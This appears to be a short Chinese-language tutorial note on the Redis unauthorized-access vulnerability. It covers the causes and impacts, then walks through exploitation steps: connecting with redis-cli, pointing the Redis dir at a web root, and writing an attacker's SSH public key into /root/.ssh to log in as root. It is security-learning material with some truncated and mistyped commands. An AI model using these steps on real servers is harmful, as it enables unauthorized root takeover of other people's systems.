redis未授权访问漏洞
未授权访问漏洞产生原因
redis安装之后如果不进行相关安全操作,比如修改conf文件等时,能构造成redis不用经过登录就能够直接访问。
redis一般绑定在0.0.0.0:6379上,如果没有设置防火墙规则,会直接暴露在公网上
未授权访问漏洞的危害
一般来说redis的未授权访问是发生在内网的,经常会配合ssrf漏洞进行漏洞利用攻击
1. 能够造成敏感信息泄露,恶意使用flushall来清空内部所有数据
2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
3. 如果没有在redis.conf将daemonize no改为yes 和protected-mode no改为yes的话就很容易造成写入.ssh公钥直接以root权限,直接以root权限控制整个服务器
redis攻击利用姿势
1. 直接通过未授权访问连接到服务器的redis
执行命令 redis-cli -h +ip
2. 开启web服务一般来说linux下的web服务的路径为/var/www/html/下
连接后
1 | set dir /var/www/html |
3. 存在ssh服务,直接本地生成ssh公钥写入/root/.ssh
1 | root@LAPTOP-60MTI4MA:~# ssh-keygen -t rsa |
之后进入/root/.ssh目录,将公钥保存到另一个文件
1 | root@LAPTOP-60MTI4MA:~#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt |
将公钥写入redis
1 | root@LAPTOP-60MTI4MA:~# cat 1.txt | redis-cli -h 10.10.10.135 -x set crack |
无误后连接redis
1 | root@LAPTOP-60MTI4MA:~# redis -cli -h +ip |
最后ssh使用公钥以root连接
1 | ssh - i id_rsa root@ip |
后续接着写配合ssrf利用gopher协议打redis